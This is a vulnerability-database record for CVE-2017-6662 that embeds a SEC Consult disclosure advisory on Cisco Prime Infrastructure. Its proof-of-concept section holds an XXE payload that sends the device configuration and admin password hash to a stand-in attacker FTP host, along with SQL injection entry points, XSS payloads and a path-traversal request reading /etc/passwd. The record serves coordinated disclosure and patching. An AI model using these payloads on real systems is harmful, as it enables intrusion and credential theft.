homepage:\nhttp://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html\n              found: 2016-11-21\n                 by: P. Morimoto (Office Bangkok)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult\n                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow\n                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Cisco Systems, Inc. (known as Cisco) is an American multinational technology\nconglomerate headquartered in San JosA(c), California, that develops,\nmanufactures, and sells networking hardware, telecommunications equipment,\nand other high-technology services and products. Through its numerous acquired\nsubsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper,\nCisco specializes into specific tech markets, such as Internet of Things (IoT),\ndomain security, and energy management.\"\n\nSource: https://en.wikipedia.org/wiki/Cisco_Systems\n\n\nBusiness recommendation:\n------------------------\nSEC Consult recommends to install the latest patch to fix the identified\nvulnerabilities. \n\nSince SEC Consult only performed a short security crash test on this product\nit is highly recommended to perform a thorough security review as there are\nindications for further vulnerabilities. \n\n\nVulnerability overview/description:\n-----------------------------------\nSEC Consult was able to identify some serious vulnerabilities with the\nlow privileged \"monitor-only\" user. \n\nThe hashed password of the local admin user can be accessed without\nauthorization. \n\n2) SQL Injection (CVE-2017-6698)\nThe identified SQL injection vulnerability enables an authenticated attacker\nwith low privileges to execute arbitrary SQL commands. \n\n3) Cross site scripting (CVE-2017-6699, CVE-2017-6700)\nDue to the lack of input validation, an attacker can insert malicious JavaScript\ncode to be executed under a victim\u0027s browser context. \n\n4) Local File Disclosure (no CVE assigned)\nBecause of insufficient input validation, arbitrary local files can be\ndisclosed. Files that include passwords and other sensitive information can\nbe accessed. \n\n\nProof of concept:\n-----------------\n1) XML External Entity Injection (CVE-2017-6662)\nLogin with a low privileged user and navigate to Settings \u003e Export \u003e\nselect Format \u0027PDF\u0027 click \u0027Export\u0027. \nMake sure the \u0027Chart\u0027 option is selected, this chart uses XML to build SVG\nimages. \n\nPOST /webacs/prime/ui/dashboard/renderer HTTP/1.1\nHost: \u003cCiscoPrimeHost\u003e\n[...]\n\noutput-type=pdf\u0026content={\"applicationName\":\"sectest\",\"reportName\":\"Site\",\"options\":{},\"timezoneOffset\":0,\"items\":[{\"options\":{\"filters\":[],\"additionalInfo\":[\"\"]},\"svgSurface\":{\"svg\":\"\u003c%3fxml+version%3d\\\"1.0\\\"+encoding%3d\\\"UTF-8\\\"%3f\u003e\u003c!DOCTYPE\nx [\u003c!ENTITY %25 foo SYSTEM\n\\\"http://\u003cAttackerHost\u003e:1234/sectest.dtd\\\"\u003e%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]\u003e\u003csvg+xmlns%3alink%3d\\\"http%3a//www.w3.org/1999/xlink\\\"+xmlns%3d\\\"http%3a//www.w3.org/2000/svg\\\"\u003e\u003cdefs/\u003e\u003ctext\u003e%26%65%78%66%69%6c%3b\u003c/text\u003e\u003c/svg\u003e\",\"dims\"%3a{\"width\"%3a0,\"height\"%3a0}},\"csv\"%3a\"Devices,\\\"\",\"title\"%3a\"\",\"timestamp\"%3a\"\"}],\"noBrandingData\"%3atrue,\"locale\"%3a\"en\"}\u0026pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D\n\n$ cat sectest.dtd\n\u003c!ENTITY % data SYSTEM \"file:///storedconfig/active/startup-config\"\u003e\n\u003c!ENTITY % param1 \"\u003c!ENTITY exfil SYSTEM \u0027ftp://\u003cAttacker\u003e:2121/%data;\u0027\u003e\"\u003e\n\n$ python -m SimpleHTTPServer 1234\n$ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb\n$ ruby xxe-ftp-server.rb\nFTP. New client connected\n\u003c USER anonymous\n\u003c PASS Java1.8.0_66@\n\u003e 230 more data please!\n\u003c TYPE I\n\u003e 230 more data please!\n\u003c CWD !\n\u003e 230 more data please!\n\u003c hostname \u003cCiscoPrimeHost\u003e\n[...]\n\u003c !\n\u003e 230 more data please!\n\u003c username admin password hash \u003cAdminHashedPassword\u003e\n\u003e 230 more data please!\n\u003c CWD  role admin\n\u003e 230 more data please!\n\u003c !\n[...]\n\n\n2) SQL Injection (CVE-2017-6698)\nA low privileged user such as \"monitor-only\" user can read the admin\u0027s\npassword hashes via SQL injection. \n\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/device-rest/getfiltercriteria/device?start=0\u0026count=100\u0026id=\u003cSQL-Injection\u003e\u0026path=%2Froot\n\nSome vulnerable entry points require administrator privileges to exploit. \nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=\u003cSQL-Injection\u003e\n\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/\u003cSQL-Injection\u003e\u0026ipAddress=/\u003cSQL-Injection\u003e\u0026time=/\u003cSQL-Injection\u003e\u0026auditDescription=/\u003cSQL-Injection\u003e\u0026userGroup=/\u003cSQL-Injection\u003e\u0026activeDomain=/\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/json/jobSchedulerService/getJobDetails/\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/\u003cSQL-Injection\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/json/jobSchedulerService/getAllJobs/\u003cSQL-Injection\u003e/Lightweight%20AP%20Operational%20Status\n\nSome URLs with this pattern are affected by the SQL injection vulnerability\nin the JSON field. \nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/preferences/systemPreferencesForNode/default.proxy/\n(HTTP POST)\n{\n    \"items\": [\n        \"\u003cSQL-Injection\u003e\",\n        \"ProxyPort\",\n        \"ProxyUserName\",\n        \"ProxyPassword\",\n        \"isProxyEnabled\",\n        \"isProxyAuthenticated\"\n    ]\n}\n\nhttps://\u003cCiscoPrimeHost\u003e/webacs/rs/preferences/systemPreferencesForNode/default.swim/\n(HTTP POST)\n{\n    \"items\": [\n        \"\u003cSQL-Injection\u003e\",\n        \"CCOPassword\"\n    ]\n}\n\n\n3) Cross site scripting\n\na) Reflected cross site scripting (CVE-2017-6699)\nhttps://\u003cCiscoPrimeHost\u003e/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=\u003cimg+src=x+onerror=alert(/XSS1/)\u003e\u0026confUrl=\u003c/ScR\u003c/ScRipT\u003eipT\u003e\u003cimg+src=x+onerror=alert(/XSS2/)\u003e\nhttps://\u003cCiscoPrimeHost\u003e/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=\u003c/sc\u003c/script\u003eript\u003e\u003cimg+src=x+onerror=alert(/XSS1/)\u003e\u0026jobResultPageId=\u0027\u003e\u003cimg+src=x+onerror=alert(/XSS2/)\u003e\n\nb) DOM-based cross site scripting (CVE-2017-6700)\nhttps://\u003cCiscoPrimeHost\u003e/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view\u0026taskId=\u003cExistingTaskID\u003e\u0026jobName=\"\u003e\u003cimg\nsrc=x onerror=alert(/XSS/)\u003e\u0026pageSettings=\nhttps://\u003cCiscoPrimeHost\u003e/webacs/loginAction.do?action=login\u0026product=wcs\u0026selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view\u0026forceLoad=true\u0026jobType=Infrastructure\u0026workState=Scheduled\u0026parentType=usrDefined\u0026lastRunJobId=\u003cExistingJobId\u003e\u0026lastRunResultState=Success\u0026jobId=\u003cExistingJobId\u003e\u0026jobName=Mobility\nService Status\u0026jobBreadcrumName=\"\u003e\u003cimg src=x onerror=alert(/XSS/)\u003e\n\n\n4) Local File Disclosure\nThe attacker must be in the super users or admin group in order to exploit this\nvulnerability. \n\nhttps://\u003cCiscoPrimeHost\u003e/webacs/packetCaptureAction.do?command=download\u0026filename=../../../../../../../../../../../../../../../../../../../../etc/passwd\n\nGET\n/webacs/packetCaptureAction.do?command=download\u0026filename=../../../../../../../../../../../../../../../../../../../../etc/passwd\nHTTP/1.1\nHost: \u003cCiscoPrimeHost\u003e\n[...]\nHTTP/1.1 200 OK\nCache-Control: private\nExpires: Thu, 01 Jan 1970 01:00:00 CET\nContent-Disposition: attachement;\nfilename=\"../../../../../../../../../../../../../../../../../../../../etc/passwd.zip\"\nContent-Type: application/zip\n[...]\n\n$ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip\nArchive:  _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip\nwarning:  skipped \"../\" path component(s) in\n../../../../../../../../../../../../../../../../../../../../etc/passwd\n  inflating: etc/passwd\n\n$ cat etc/passwd\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\n[...]\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to information provided by Cisco, the following versions are affected:\n1.1 through 3.1.6\n\nSEC Consult tested the following versions which were the most recent ones at the\ntime of discovery:\n* 3.1.0.0.70\n* 3.1.0.0.132 incl. 3.1.4 patch\n\n\nVendor contact timeline:\n------------------------\n2016-11-23: Contacting vendor through psirt@cisco.com. \n2016-11-23: Initial response from Cisco PSIRT. \n2016-11-24: Additional vulnerabilities added. \n2016-12-14: Cisco proposed target date for the fixes for March 2017. \n2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. \n2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. \n2017-06-14: CVEs are assigned to the vulnerabilities. \n2017-06-21: Patches available\n2017-06-22: Coordinated release of security advisory. \n\n\nSolution:\n---------\nInstall the patch version 3.1.6 Update 1. It\nensures the continued knowledge gain of SEC Consult in the field of network\nand application security to stay ahead of the attacker. The SEC Consult\nVulnerability Lab supports high-quality penetration testing and the evaluation\nof new offensive and defensive technologies for our customers. Hence our\ncustomers obtain the most current information about vulnerabilities and valid\nrecommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://www.sec-consult.com/en/Career.htm\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://www.sec-consult.com/en/About/Contact.htm\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF Pichaya Morimoto / @2017\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "BID",
        "id": "99194"
      },
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "PACKETSTORM",
        "id": "143111"
      }
    ],
    "trust": 2.07
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-114865",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2017-6662",
        "trust": 2.9
      },
      {
        "db": "BID",
        "id": "99194",
        "trust": 2.0
      },
      {
        "db": "SECTRACK",
        "id": "1038750",
        "trust": 1.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "143111",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-114865",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "BID",
        "id": "99194"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "PACKETSTORM",
        "id": "143111"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "id": "VAR-201706-0581",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2023-12-18T12:19:38.297000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "cisco-sa-20170621-piepnm1",
        "trust": 0.8,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170621-piepnm1"
      },
      {
        "title": "Cisco Prime Infrastructure  and Evolved Programmable Network Manager Security vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=71174"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-611",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.1,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170621-piepnm1"
      },
      {
        "trust": 1.7,
        "url": "http://www.securityfocus.com/bid/99194"
      },
      {
        "trust": 1.7,
        "url": "http://www.securitytracker.com/id/1038750"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-6662"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-6662"
      },
      {
        "trust": 0.3,
        "url": "http://www.cisco.com/"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/loginaction.do?action=login\u0026product=wcs\u0026selectedcategory=en#pageid=com_cisco_ifm_ui_web_page_job_dashboard_detail_view\u0026forceload=true\u0026jobtype=infrastructure\u0026workstate=scheduled\u0026parenttype=usrdefined\u0026lastrunjobid=\u003cexistingjobid\u003e\u0026lastrunresultstate=success\u0026jobid=\u003cexistingjobid\u003e\u0026jobname=mobility"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categorypath=\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170621-piepnm4"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/index_abs.jsp?theme=prime#pageid=com_cisco_ifm_ui_web_page_job_dashboard_import_view\u0026taskid=\u003cexistingtaskid\u003e\u0026jobname=\"\u003e\u003cimg"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-6699"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/preferences/systempreferencesfornode/default.swim/"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/wap/preference/value/@@me/pi_recent_links?categorypath=global%2fpi_recent_links\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/json/jobschedulerservice/getalljobs/\u003csql-injection\u003e/lightweight%20ap%20operational%20status"
      },
      {
        "trust": 0.1,
        "url": "https://bst.cloudapps.cisco.com/bugsearch/bug/cscvc49548"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com/en/career.htm"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/preferences/systempreferencesfornode/default.proxy/"
      },
      {
        "trust": 0.1,
        "url": "http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/wap/preference/value/@@me/pi_home_page_selection?categorypath=\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/applications/common/jsp/systempreferences_configurable.jsp?taskname=\u003cimg+src=x+onerror=alert(/xss1/)\u003e\u0026confurl=\u003c/scr\u003c/script\u003eipt\u003e\u003cimg+src=x+onerror=alert(/xss2/)\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://en.wikipedia.org/wiki/cisco_systems"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/json/userservice/getauditrecordsforgivenrange/?username=/\u003csql-injection\u003e\u0026ipaddress=/\u003csql-injection\u003e\u0026time=/\u003csql-injection\u003e\u0026auditdescription=/\u003csql-injection\u003e\u0026usergroup=/\u003csql-injection\u003e\u0026activedomain=/\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/wap/preference/value/@@me/dashboard_config:com_cisco_xmp_web_page_smartlicense_dashboard?categorypath=\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170621-piepnm2"
      },
      {
        "trust": 0.1,
        "url": "https://twitter.com/sec_consult"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categorypath=\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/applications/inventory/html/importjobresults.jsp?taskid=\u003c/sc\u003c/script\u003eript\u003e\u003cimg+src=x+onerror=alert(/xss1/)\u003e\u0026jobresultpageid=\u0027\u003e\u003cimg+src=x+onerror=alert(/xss2/)\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/packetcaptureaction.do?command=download\u0026filename=../../../../../../../../../../../../../../../../../../../../etc/passwd"
      },
      {
        "trust": 0.1,
        "url": "https://bst.cloudapps.cisco.com/bugsearch/bug/cscvc25573"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/device-rest/getfiltercriteria/device?start=0\u0026count=100\u0026id=\u003csql-injection\u003e\u0026path=%2froot"
      },
      {
        "trust": 0.1,
        "url": "http://\u003cattackerhost\u003e:1234/sectest.dtd\\\"\u003e%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]\u003e\u003csvg+xmlns%3alink%3d\\\"http%3a//www.w3.org/1999/xlink\\\"+xmlns%3d\\\"http%3a//www.w3.org/2000/svg\\\"\u003e\u003cdefs/\u003e\u003ctext\u003e%26%65%78%66%69%6c%3b\u003c/text\u003e\u003c/svg\u003e\",\"dims\"%3a{\"width\"%3a0,\"height\"%3a0}},\"csv\"%3a\"devices,\\\"\",\"title\"%3a\"\",\"timestamp\"%3a\"\"}],\"nobrandingdata\"%3atrue,\"locale\"%3a\"en\"}\u0026pdfoptions=%7b%22table%22%3atrue%2c%22chart%22%3atrue%7d"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/inventoryrestservice/ifm/inventory-rest/getimporttaskstatusdto/\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "http://blog.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/json/jobschedulerservice/getjobdetails/\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com/en/vulnerability-lab/advisories.htm"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com/en/about/contact.htm"
      },
      {
        "trust": 0.1,
        "url": "https://raw.githubusercontent.com/onsec-lab/scripts/master/xxe-ftp-server.rb"
      },
      {
        "trust": 0.1,
        "url": "https://\u003cciscoprimehost\u003e/webacs/rs/json/jobschedulerservice/getalljobsctr/infrastructure/\u003csql-injection\u003e"
      },
      {
        "trust": 0.1,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170621-piepnm3"
      },
      {
        "trust": 0.1,
        "url": "https://software.cisco.com/download/release.html?mdfid=286304360\u0026catid=268439477\u0026softwareid=284272933\u0026release=3.1.6\u0026relind=available\u0026rellifecycle=\u0026reltype=latest"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-6700"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-6698"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "BID",
        "id": "99194"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "PACKETSTORM",
        "id": "143111"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "BID",
        "id": "99194"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "PACKETSTORM",
        "id": "143111"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2017-06-26T00:00:00",
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "date": "2017-06-21T00:00:00",
        "db": "BID",
        "id": "99194"
      },
      {
        "date": "2017-07-19T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "date": "2017-06-22T23:23:23",
        "db": "PACKETSTORM",
        "id": "143111"
      },
      {
        "date": "2017-06-26T07:29:00.170000",
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "date": "2017-06-22T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-07-29T00:00:00",
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "date": "2017-06-21T00:00:00",
        "db": "BID",
        "id": "99194"
      },
      {
        "date": "2017-07-19T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "date": "2019-07-29T17:47:15.557000",
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "date": "2019-07-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "143111"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Cisco PI and  EPNM of  Web Base user interface  XML External entity vulnerabilities",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "code problem",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.